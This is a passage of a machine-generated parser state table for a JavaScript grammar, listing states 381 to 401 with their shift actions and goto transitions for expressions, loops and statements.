MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 429 - -state 381 - - 243) IterationStatement : DO Statement WHILE "(" _ Expr ")" ";" - 244) IterationStatement : DO Statement WHILE "(" _ Expr ")" error - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 430 - -state 382 - - 245) IterationStatement : WHILE "(" Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 431 - -state 383 - - 198) AssignmentExprNoIn : LeftHandSideExpr AssignmentOperator _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 433 - -state 384 - - 248) IterationStatement : FOR "(" LeftHandSideExpr IN _ Expr ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 434 - -state 385 - - 132) RelationalExprNoIn : RelationalExprNoIn "<" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 435 - -state 386 - - 133) RelationalExprNoIn : RelationalExprNoIn ">" _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 436 - -state 387 - - 134) RelationalExprNoIn : RelationalExprNoIn LE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 437 - -state 388 - - 135) RelationalExprNoIn : RelationalExprNoIn GE _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 438 - -state 389 - - 136) RelationalExprNoIn : RelationalExprNoIn INSTANCEOF _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 439 - -state 390 - - 150) EqualityExprNoIn : EqualityExprNoIn EQEQ _ RelationalExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 440 - -state 391 - - 151) EqualityExprNoIn : EqualityExprNoIn NE _ RelationalExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 441 - -state 392 - - 152) EqualityExprNoIn : EqualityExprNoIn STREQ _ RelationalExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 442 - -state 393 - - 153) EqualityExprNoIn : EqualityExprNoIn STRNEQ _ RelationalExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 443 - -state 394 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" _ EqualityExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 444 - -state 395 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn "^" _ BitwiseANDExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 445 - -state 396 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" _ BitwiseXORExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 446 - -state 397 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND _ BitwiseORExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 447 - -state 398 - - 186) LogicalORExprNoIn : LogicalORExprNoIn OR _ LogicalANDExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 448 - -state 399 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" _ AssignmentExprNoIn ":" AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - AssignmentExprNoIn go to state 449 - ConditionalExprNoIn go to state 312 - -state 400 - - 216) ExprNoIn : ExprNoIn "," _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 450 - -state 401 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" _ ExprOpt ";" ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 452 